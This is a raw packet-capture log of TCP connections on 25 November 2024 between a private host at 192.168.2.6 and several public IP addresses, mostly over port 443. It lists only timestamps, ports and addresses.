Nov 25, 2024 07:53:27.020041943 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:27.020107985 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:27.020117998 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:27.020132065 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:27.020175934 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:27.024410009 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:27.024425983 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:27.065541029 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.074073076 CET	49749	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.074110031 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.075092077 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.075171947 CET	49749	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.077915907 CET	49749	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.077986956 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.078316927 CET	49749	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.078325987 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.130253077 CET	443	49755	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.130532026 CET	49755	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.130552053 CET	443	49755	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.131427050 CET	443	49755	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.131546021 CET	49755	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.131872892 CET	49755	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.131936073 CET	443	49755	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.132081985 CET	49755	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.132134914 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.132306099 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.132319927 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.132956982 CET	49749	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.133166075 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.133220911 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.133454084 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.133506060 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.133542061 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.136707067 CET	443	49753	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.136991024 CET	49753	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.137001038 CET	443	49753	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.140528917 CET	443	49753	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.140667915 CET	49753	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.140952110 CET	49753	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.141069889 CET	49753	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.141122103 CET	443	49753	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.175385952 CET	443	49755	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.179336071 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.179857969 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.179871082 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.179882050 CET	49755	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.179913044 CET	443	49755	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.199044943 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.226706028 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.238773108 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.238805056 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.239541054 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.239545107 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.279619932 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.285604954 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.285645008 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.286324978 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.286333084 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.286546946 CET	443	49758	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.287049055 CET	49758	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.287071943 CET	443	49758	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.287657976 CET	49758	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.287662983 CET	443	49758	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.324155092 CET	49755	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.324244022 CET	443	49755	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.324318886 CET	49755	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.347356081 CET	443	49753	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.347477913 CET	49753	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.370385885 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.370953083 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.370978117 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.371525049 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.371531963 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.372169971 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.372581959 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.372603893 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.372987032 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.372993946 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.437485933 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:27.437561989 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:27.632735014 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.632824898 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.633102894 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.633519888 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.633546114 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.633562088 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.633570910 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.636539936 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.636581898 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.636972904 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.637175083 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.637196064 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.723387003 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.723469019 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.723634005 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.723771095 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.723788977 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.723800898 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.723805904 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.726917982 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.726967096 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.727075100 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.727294922 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.727323055 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.729969025 CET	443	49758	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.730027914 CET	443	49758	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.730185986 CET	49758	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.730237961 CET	49758	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.730257988 CET	443	49758	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.730268955 CET	49758	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.730276108 CET	443	49758	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.733298063 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.733329058 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.733428001 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.733565092 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.733582973 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.818630934 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.818687916 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.818779945 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.819152117 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.819152117 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.819171906 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.819184065 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.820072889 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.820131063 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.820197105 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.821178913 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.821197033 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.821207047 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.821212053 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.823869944 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.823926926 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.823997974 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.824043036 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.824064970 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.824152946 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.824282885 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.824285030 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:27.824299097 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.824309111 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:27.903943062 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.904010057 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.904042006 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.904076099 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.904093981 CET	49749	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.904136896 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.904151917 CET	49749	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.912297010 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.912355900 CET	49749	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.912384033 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.920056105 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.920129061 CET	49749	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.920558929 CET	49749	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.920587063 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.992930889 CET	443	49753	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.993263006 CET	443	49753	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:27.993350029 CET	49753	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.994342089 CET	49753	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:27.994366884 CET	443	49753	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.025387049 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.025527000 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.025578022 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.025587082 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.025708914 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.025748014 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.025753021 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.033155918 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.033207893 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.033216000 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.047247887 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.047292948 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.047302961 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.096278906 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.108381987 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.118817091 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.118912935 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.118922949 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.211209059 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.211333990 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.211340904 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.230106115 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.230175018 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.230181932 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.236066103 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.237560987 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.237570047 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.245686054 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.245738983 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.245745897 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.258820057 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.258868933 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.258877039 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.272583961 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.272655010 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.272665977 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.285924911 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.285969973 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.285980940 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.299617052 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.299693108 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.299700975 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.313294888 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.313389063 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.313395977 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.327047110 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.329251051 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.329261065 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.330887079 CET	49769	443	192.168.2.6	2.16.158.75
Nov 25, 2024 07:53:28.330918074 CET	443	49769	2.16.158.75	192.168.2.6
Nov 25, 2024 07:53:28.331048965 CET	49769	443	192.168.2.6	2.16.158.75
Nov 25, 2024 07:53:28.333332062 CET	49769	443	192.168.2.6	2.16.158.75
Nov 25, 2024 07:53:28.333344936 CET	443	49769	2.16.158.75	192.168.2.6
Nov 25, 2024 07:53:28.345479012 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.345541954 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.345554113 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.397794962 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.397861958 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.397866964 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.397881985 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.397936106 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.450737000 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.452105045 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.452164888 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.452173948 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.460663080 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.460766077 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.460774899 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.464968920 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.465008974 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.465013981 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.469331026 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.469397068 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.469408989 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.473768950 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.473830938 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.473836899 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.487027884 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.487099886 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.487108946 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.488888025 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.488971949 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.488979101 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.498599052 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.498639107 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.498650074 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.508732080 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.508780956 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.508789062 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.518125057 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.518205881 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.518214941 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.527787924 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.527853966 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.527862072 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.536789894 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.536881924 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.536891937 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.544219971 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.544291019 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.544298887 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.570247889 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.570398092 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.570530891 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.570540905 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.571069002 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.572199106 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.575222015 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.575269938 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.575277090 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.579061031 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.579140902 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.579149961 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.582459927 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.582587957 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.582640886 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.582650900 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.585366964 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.589006901 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.596349955 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.596409082 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.596419096 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.602560997 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.602669954 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.602677107 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.608975887 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.609059095 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.609065056 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.652080059 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.652117968 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.652136087 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.652147055 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.652568102 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.653431892 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.656150103 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.656213999 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.656219959 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.659012079 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.659064054 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.659070015 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.661693096 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.661763906 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.661771059 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.664427996 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.664791107 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.664796114 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.667202950 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.667354107 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.667360067 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.672336102 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.672379017 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.672385931 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.672458887 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.672502995 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.672508001 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.672544003 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:28.672676086 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.672878981 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:28.672893047 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:29.302042961 CET	49774	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:29.302079916 CET	443	49774	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:29.302144051 CET	49774	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:29.302465916 CET	49774	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:29.302478075 CET	443	49774	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:29.351281881 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.368995905 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.369003057 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.369643927 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.369647980 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.489120007 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.489825964 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.489840031 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.490482092 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.490489006 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.514036894 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.514688969 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.514707088 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.515594006 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.515599966 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.551475048 CET	49775	443	192.168.2.6	172.202.163.200
Nov 25, 2024 07:53:29.551500082 CET	443	49775	172.202.163.200	192.168.2.6
